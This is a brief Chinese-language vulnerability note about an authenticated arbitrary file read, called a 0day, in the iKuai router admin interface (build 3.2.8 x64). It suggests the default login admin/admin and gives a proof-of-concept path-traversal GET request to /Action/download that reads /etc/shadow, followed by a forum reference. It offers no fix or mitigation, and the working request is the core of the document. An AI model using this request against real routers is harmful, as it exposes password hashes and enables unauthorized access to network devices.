爱快(iKuai) 后台任意文件读取(0day)

# 爱快(iKuai) 后台任意文件读取(0day)

影响版本，不一定是绝对版本，也可能其它版本都存在：3.2.8 x64 Build201910101758

默认密码可以试试：admin/admin

**PoC：**

“`
GET /Action/download?filename=../../../../../../etc/shadow HTTP/1.1
Host：
….
“`

ref：

https://forum.ywhack.com/thread-115307-1-8.html